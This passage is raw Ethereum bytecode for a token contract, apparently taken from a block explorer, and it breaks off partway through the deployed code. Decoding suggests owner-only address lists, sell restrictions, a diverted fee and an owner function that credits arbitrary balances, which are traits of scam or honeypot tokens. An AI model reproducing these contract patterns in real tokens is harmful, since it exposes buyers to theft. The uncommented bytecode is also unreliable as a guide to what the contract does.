b6040516107e89190613445565b60405180910390f35b3480156107fd57600080fd5b5061081860048036038101906108139190612c3e565b611c19565b6040516108259190613587565b60405180910390f35b34801561083a57600080fd5b5061085560048036038101906108509190612d1b565b611d30565b604051610862919061342a565b60405180910390f35b34801561087757600080fd5b50610892600480360381019061088d9190612d1b565b611e1b565b60405161089f919061342a565b60405180910390f35b3480156108b457600080fd5b506108cf60048036038101906108ca9190612d1b565b611fef565b6040516108dc919061342a565b60405180910390f35b3480156108f157600080fd5b506108fa611ff7565b6040516109079190613587565b60405180910390f35b34801561091c57600080fd5b50610925611ffd565b60405161093291906133c4565b60405180910390f35b34801561094757600080fd5b506109506120ca565b60405161095d9190613408565b60405180910390f35b34801561097257600080fd5b5061098d60048036038101906109889190612d93565b612158565b60405161099a919061342a565b60405180910390f35b3480156109af57600080fd5b506109ca60048036038101906109c59190612e10565b6122b8565b005b3480156109d857600080fd5b506109f360048036038101906109ee9190612e10565b612350565b604051610a00919061342a565b60405180910390f35b348015610a1557600080fd5b50610a306004803603810190610a2b9190612c90565b61244d565b604051610a3d9190613587565b60405180910390f35b348015610a5257600080fd5b50610a6d6004803603810190610a689190612c3e565b6124d4565b005b610a7761256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906134e7565b60405180910390fd5b50565b606060088054610b169061381e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b429061381e565b8015610b8f5780601f10610b6457610100808354040283529160200191610b8f565b820191906000526020600020905b815481529060010190602001808311610b7257829003601f168201915b5050505050905090565b6000610bad610ba661256c565b8484612574565b6001905092915050565b6000610bc161256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c45906134e7565b60405180910390fd5b60005b600d805490508160ff161015610d7a578273ffffffffffffffffffffffffffffffffffffffff16600d8260ff1681548110610cb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d6757600d8160ff1681548110610d39577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b8080610d7290613899565b915050610c51565b5060019050919050565b6000610d8e61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e12906134e7565b60405180910390fd5b81600a60006101000a81548160ff02191690831515021790555060019050919050565b600090565b6000600754905090565b6000610e5761256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edb906134e7565b60405180910390fd5b8160048190555060019050919050565b600080610f02856001611251565b90506000610f11866002611251565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480610fa15750610f72611ffd565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80610fdf5750600073ffffffffffffffffffffffffffffffffffffffff16610fc7611ffd565b73ffffffffffffffffffffffffffffffffffffffff16145b8061101c5750610fed611a64565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b806110245750815b156111195761103486868661273f565b6000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061107f61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050848110156110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f6906134c7565b60405180910390fd5b6111138761110b61256c565b878403612574565b50611244565b600454841115806111365750600a60009054906101000a900460ff165b8015611148575061114686612aef565b155b8015611152575080155b156112435761116286868661273f565b6000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111ad61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508481101561122d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611224906134c7565b60405180910390fd5b6112418761123961256c565b878403612574565b505b5b6001925050509392505050565b6000806000905060018360ff1614156113345760005b600c805490508160ff16101561132e578473ffffffffffffffffffffffffffffffffffffffff16600c8260ff16815481106112cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561131b576001915061132e565b808061132690613899565b915050611267565b50611400565b60005b600d805490508160ff1610156113fe578473ffffffffffffffffffffffffffffffffffffffff16600d8260ff168154811061139b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156113eb57600191506113fe565b80806113f690613899565b915050611337565b505b8091505092915050565b6000919050565b60006012905090565b61142261256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a6906134e7565b60405180910390fd5b50565b60006115546114bf61256c565b8484600660006114cd61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154f919061366f565b612574565b6001905092915050565b600061156861256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ec906134e7565b60405180910390fd5b60005b600c805490508160ff161015611721578273ffffffffffffffffffffffffffffffffffffffff16600c8260ff168154811061165c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561170e57600c8160ff16815481106116e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b808061171990613899565b9150506115f8565b5060019050919050565b50565b600092915050565b61173e61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c2906134e7565b60405180910390fd5b50565b600030905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000905060008443423360405160200161183c9190613373565b6040516020818303038152906040528051906020012060001c61185f91906136c5565b86454241604051602001611873919061338e565b6040516020818303038152906040528051906020012060001c61189691906136c5565b44426118a2919061366f565b6118ac919061366f565b6118b6919061366f565b6118c0919061366f565b6118ca919061366f565b6118d4919061366f565b6040516020016118e491906133a9565b6040516020818303038152906040528051906020012060001c6119079190613903565b90508581611915919061366f565b9050818061192290613850565b92505080925050509392505050565b600061193b61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bf906134e7565b60405180910390fd5b6119d3826001611251565b611a3b57600c829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c805490509050919050565b6000600a60009054906101000a900460ff16905090565b600090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611a9561256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906134e7565b60405180910390fd5b50565b6000808210158015611b38575060648211155b611b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6e90613547565b60405180910390fd5b81600b8190555060019050919050565b606060098054611b969061381e565b80601f0160208091040260200160405190810160405280929190818152602001828054611bc29061381e565b8015611c0f5780601f10611be457610100808354040283529160200191611c0f565b820191906000526020600020905b815481529060010190602001808311611bf257829003601f168201915b5050505050905090565b6000611c2361256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca7906134e7565b60405180910390fd5b611cbb826001611251565b611d2357600d829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600d805490509050919050565b60008060066000611d3f61256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df390613567565b60405180910390fd5b611e10611e0761256c565b85858403612574565b600191505092915050565b600080611e30611e2961256c565b6001611251565b90506000611e46611e3f61256c565b6002611251565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e8961256c565b73ffffffffffffffffffffffffffffffffffffffff161480611ee45750611eae611ffd565b73ffffffffffffffffffffffffffffffffffffffff16611ecc61256c565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f225750600073ffffffffffffffffffffffffffffffffffffffff16611f0a611ffd565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f665750611f30611a64565b73ffffffffffffffffffffffffffffffffffffffff16611f4e61256c565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f6e5750815b15611f8a57611f85611f7e61256c565b868661273f565b611fe3565b60045484111580611fa75750600a60009054906101000a900460ff165b8015611fc05750611fbe611fb961256c565b612aef565b155b8015611fca575080155b15611fe257611fe1611fda61256c565b868661273f565b5b5b60019250505092915050565b600092915050565b600b5481565b60008073ca143ce32fe78f1f7019d7d551a6402fc5350c7373ffffffffffffffffffffffffffffffffffffffff1663e6a43905600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b81526004016120719291906133df565b60206040518083038186803b15801561208957600080fd5b505afa15801561209d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c19190612c67565b90508091505090565b6060600c80548060200260200160405190810160405280929190818152602001828054801561214e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612104575b5050505050905090565b600061216261256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e6906134e7565b60405180910390fd5b600080600080600090505b86518110156122aa5760028661221091906136c5565b9350838661221e919061366f565b925061222b84848361181f565b9150612235611411565b60ff168261224391906136f6565b915061229761225061256c565b888381518110612289577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518461273f565b80806122a290613850565b9150506121fa565b506001935050505092915050565b6122c061256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461234d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612344906134e7565b60405180910390fd5b50565b600061235a61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123de906134e7565b60405180910390fd5b81600560006123f461256c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461243d919061366f565b9250508190555060019050919050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6124dc61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612560906134e7565b60405180910390fd5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125db90613527565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264b90613487565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127329190613587565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a690613507565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561281f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281690613467565b60405180910390fd5b61282a838383612b3a565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156128b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a8906134a7565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b5414612a2e5760006064600b548461291391906136f6565b61291d91906136c5565b90508060056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612990919061366f565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a169190613587565b60405180910390a38083612a2a9190613750565b9250505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a7d919061366f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ae19190613587565b60405180910390a350505050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b8114158015612b315750818114155b92505050919050565b505050565b6000612b52612b4d846135ee565b6135bd565b90508083825260208201905082856020860282011115612b7157600080fd5b60005b85811015612ba15781612b878882612bab565b845260208401935060208301925050600181019050612b74565b5050509392505050565b600081359050612bba81613a0e565b92915050565b600081519050612bcf81613a0e565b92915050565b600082601f830112612be657600080fd5b8135612bf6848260208601612b3f565b91505092915050565b600081359050612c0e81613a25565b92915050565b600081359050612c2381613a3c565b92915050565b600081359050612c3881613a53565b92915050565b600060208284031215612c5057600080fd5b6000612c5e84828501612bab565b91505092915050565b600060208284031215612c7957600080fd5b6000612c8784828501612bc0565b91505092915050565b60008060408385031215612ca357600080fd5b6000612cb185828601612bab565b9250506020612cc285828601612bab565b9150509250929050565b600080600060608486031215612ce157600080fd5b6000612cef86828701612bab565b9350506020612d0086828701612bab565b9250506040612d1186828701612c14565b9150509250925092565b60008060408385031215612d2e57600080fd5b6000612d3c85828601612bab565b9250506020612d4d85828601612c14565b9150509250929050565b60008060408385031215612d6a57600080fd5b6000612d7885828601612bab565b9250506020612d8985828601612c29565b9150509250929050565b60008060408385031215612da657600080fd5b600083013567ffffffffffffffff811115612dc057600080fd5b612dcc85828601612bd5565b9250506020612ddd85828601612c14565b9150509250929050565b600060208284031215612df957600080fd5b6000612e0784828501612bff565b91505092915050565b600060208284031215612e2257600080fd5b6000612e3084828501612c14565b91505092915050565b60008060408385031215612e4c57600080fd5b6000612e5a85828601612c14565b9250506020612e6b85828601612bff565b9150509250929050565b600080600060608486031215612e8a57600080fd5b6000612e9886828701612c14565b9350506020612ea986828701612c14565b9250506040612eba86828701612c14565b9150509250925092565b6000612ed08383612ef3565b60208301905092915050565b612eed612ee882613796565b6138d5565b82525050565b612efc81613784565b82525050565b612f0b81613784565b82525050565b612f22612f1d82613784565b6138c3565b82525050565b6000612f338261362a565b612f3d818561364d565b9350612f488361361a565b8060005b83811015612f79578151612f608882612ec4565b9750612f6b83613640565b925050600181019050612f4c565b5085935050505092915050565b612f8f816137a8565b82525050565b6000612fa082613635565b612faa818561365e565b9350612fba8185602086016137eb565b612fc3816139f0565b840191505092915050565b6000612fdb60238361365e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061304160228361365e565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130a760268361365e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061310d60288361365e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b600061317360208361365e565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006131b360258361365e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061321960248361365e565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061327f60228361365e565b91507f5472616e7366657220666565206973206265747765656e203120616e6420313060008301527f302e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006132e560258361365e565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b613347816137d4565b82525050565b61335e613359826137d4565b6138f9565b82525050565b61336d816137de565b82525050565b600061337f8284612f11565b60148201915081905092915050565b600061339a8284612edc565b60148201915081905092915050565b60006133b5828461334d565b60208201915081905092915050565b60006020820190506133d96000830184612f02565b92915050565b60006040820190506133f46000830185612f02565b6134016020830184612f02565b9392505050565b600060208201905081810360008301526134228184612f28565b905092915050565b600060208201905061343f6000830184612f86565b92915050565b6000602082019050818103600083015261345f8184612f95565b905092915050565b6000602082019050818103600083015261348081612fce565b9050919050565b600060208201905081810360008301526134a081613034565b9050919050565b600060208201905081810360008301526134c08161309a565b9050919050565b600060208201905081810360008301526134e081613100565b9050919050565b6000602082019050818103600083015261350081613166565b9050919050565b60006020820190508181036000830152613520816131a6565b9050919050565b600060208201905081810360008301526135408161320c565b9050919050565b6000602082019050818103600083015261356081613272565b9050919050565b60006020820190508181036000830152613580816132d8565b9050919050565b600060208201905061359c600083018461333e565b92915050565b60006020820190506135b76000830184613364565b92915050565b6000604051905081810181811067ffffffffffffffff821117156135e4576135e36139c1565b5b8060405250919050565b600067ffffffffffffffff821115613609576136086139c1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061367a826137d4565b9150613685836137d4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136ba576136b9613934565b5b828201905092915050565b60006136d0826137d4565b91506136db836137d4565b9250826136eb576136ea613963565b5b828204905092915050565b6000613701826137d4565b915061370c836137d4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561374557613744613934565b5b828202905092915050565b600061375b826137d4565b9150613766836137d4565b92508282101561377957613778613934565b5b828203905092915050565b600061378f826137b4565b9050919050565b60006137a1826137b4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156138095780820151818401526020810190506137ee565b83811115613818576000848401525b50505050565b6000600282049050600182168061383657607f821691505b6020821081141561384a57613849613992565b5b50919050565b600061385b826137d4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561388e5761388d613934565b5b600182019050919050565b60006138a4826137de565b915060ff8214156138b8576138b7613934565b5b600182019050919050565b60006138ce826138e7565b9050919050565b60006138e0826138e7565b9050919050565b60006138f282613a01565b9050919050565b6000819050919050565b600061390e826137d4565b9150613919836137d4565b92508261392957613928613963565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b613a1781613784565b8114613a2257600080fd5b50565b613a2e816137a8565b8114613a3957600080fd5b50565b613a45816137d4565b8114613a5057600080fd5b50565b613a5c816137de565b8114613a6757600080fd5b5056fea2646970667358221220bfe052b36a49fa93d0afc09941538fa8c6dfe452e3ebeb4dbcfe95e1709113dd64736f6c63430008000033


Deployed Bytecode

0x60806040526004361061023f5760003560e01c80637299054c1161012e578063a9059cbb116100ab578063c42c3e8f1161006f578063c42c3e8f14610966578063d543dbeb146109a3578063dd467064146109cc578063dd62ed3e14610a09578063ea2f0b3714610a4657610246565b8063a9059cbb1461086b578063aa449f85146108a8578063acb2ad6f146108e5578063b8c9d25c14610910578063c412eaba1461093b57610246565b80638ee88c53116100f25780638ee88c53146107605780638f02bb5b1461078957806395d89b41146107c65780639e71e1d5146107f1578063a457c2d71461082e57610246565b80637299054c146106655780637cf90fcc146106a25780637e95c6b4146106df578063880ad0af1461070a5780638da5cb5b1461073557610246565b80632d838119116101bc5780633bd5d173116101805780633bd5d1731461056e5780634549b0391461059757806352390c02146105d457806355a373d6146105fd57806370a082311461062857610246565b80632d83811914610463578063313ce567146104a05780633685d419146104cb57806339509351146104f4578063399fa8401461053157610246565b806313114a9d1161020357806313114a9d1461035657806318160ddd1461038157806321461f6f146103ac57806323b872dd146103e957806323cbaaa61461042657610246565b8063061c82d01461024b57806306fdde0314610274578063095ea7b31461029f5780630b0a5d81146102dc5780630d4da3dc1461031957610246565b3661024657005b600080fd5b34801561025757600080fd5b50610272600480360381019061026d9190612e10565b610a6f565b005b34801561028057600080fd5b50610289610b07565b6040516102969190613445565b60405180910390f35b3480156102ab57600080fd5b506102c660048036038101906102c19190612d1b565b610b99565b6040516102d3919061342a565b60405180910390f35b3480156102e857600080fd5b5061030360048036038101906102fe9190612c3e565b610bb7565b604051610310919061342a565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612de7565b610d84565b60405161034d919061342a565b60405180910390f35b34801561036257600080fd5b5061036b610e3e565b6040516103789190613587565b60405180910390f35b34801561038d57600080fd5b50610396610e43565b6040516103a39190613587565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190612e10565b610e4d565b6040516103e0919061342a565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b9190612ccc565b610ef4565b60405161041d919061342a565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190612d57565b611251565b60405161045a919061342a565b60405180910390f35b34801561046f57600080fd5b5061048a60048036038101906104859190612e10565b61140a565b6040516104979190613587565b60405180910390f35b3480156104ac57600080fd5b506104b5611411565b6040516104c291906135a2565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190612c3e565b61141a565b005b34801561050057600080fd5b5061051b60048036038101906105169190612d1b565b6114b2565b604051610528919061342a565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612c3e565b61155e565b604051610565919061342a565b60405180910390f35b34801561057a57600080fd5b5061059560048036038101906105909190612e10565b61172b565b005b3480156105a357600080fd5b506105be60048036038101906105b99190612e39565b61172e565b6040516105cb9190613587565b60405180910390f35b3480156105e057600080fd5b506105fb60048036038101906105f69190612c3e565b611736565b005b34801561060957600080fd5b506106126117ce565b60405161061f91906133c4565b60405180910390f35b34801561063457600080fd5b5061064f600480360381019061064a9190612c3e565b6117d6565b60405161065c9190613587565b60405180910390f35b34801561067157600080fd5b5061068c60048036038101906106879190612e75565b61181f565b6040516106999190613587565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190612c3e565b611931565b6040516106d69190613587565b60405180910390f35b3480156106eb57600080fd5b506106f4611a48565b604051610701919061342a565b60405180910390f35b34801561071657600080fd5b5061071f611a5f565b60405161072c919061342a565b60405180910390f35b34801561074157600080fd5b5061074a611a64565b60405161075791906133c4565b60405180910390f35b34801561076c57600080fd5b5061078760048036038101906107829190612e10565b611a8d565b005b34801561079557600080fd5b506107b060048036038101906107ab9190612e10565b611b25565b6040516107bd919061342a565b60405180910390f35b3480156107d257600080fd5b506107db611b87565b6040516107e89190613445565b60405180910390f35b3480156107fd57600080fd5b5061081860048036038101906108139190612c3e565b611c19565b6040516108259190613587565b60405180910390f35b34801561083a57600080fd5b5061085560048036038101906108509190612d1b565b611d30565b604051610862919061342a565b60405180910390f35b34801561087757600080fd5b50610892600480360381019061088d9190612d1b565b611e1b565b60405161089f919061342a565b60405180910390f35b3480156108b457600080fd5b506108cf60048036038101906108ca9190612d1b565b611fef565b6040516108dc919061342a565b60405180910390f35b3480156108f157600080fd5b506108fa611ff7565b6040516109079190613587565b60405180910390f35b34801561091c57600080fd5b50610925611ffd565b60405161093291906133c4565b60405180910390f35b34801561094757600080fd5b506109506120ca565b60405161095d9190613408565b60405180910390f35b34801561097257600080fd5b5061098d60048036038101906109889190612d93565b612158565b60405161099a919061342a565b60405180910390f35b3480156109af57600080fd5b506109ca60048036038101906109c59190612e10565b6122b8565b005b3480156109d857600080fd5b506109f360048036038101906109ee9190612e10565b612350565b604051610a00919061342a565b60405180910390f35b348015610a1557600080fd5b50610a306004803603810190610a2b9190612c90565b61244d565b604051610a3d9190613587565b60405180910390f35b348015610a5257600080fd5b50610a6d6004803603810190610a689190612c3e565b6124d4565b005b610a7761256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906134e7565b60405180910390fd5b50565b606060088054610b169061381e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b429061381e565b8015610b8f5780601f10610b6457610100808354040283529160200191610b8f565b820191906000526020600020905b815481529060010190602001808311610b7257829003601f168201915b5050505050905090565b6000610bad610ba661256c565b8484612574565b6001905092915050565b6000610bc161256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c45906134e7565b60405180910390fd5b60005b600d805490508160ff161015610d7a578273ffffffffffffffffffffffffffffffffffffffff16600d8260ff1681548110610cb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d6757600d8160ff1681548110610d39577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b8080610d7290613899565b915050610c51565b5060019050919050565b6000610d8e61256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e12906134e7565b60405180910390fd5b81600a60006101000a81548160ff02191690831515021790555060019050919050565b600090565b6000600754905090565b6000610e5761256c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461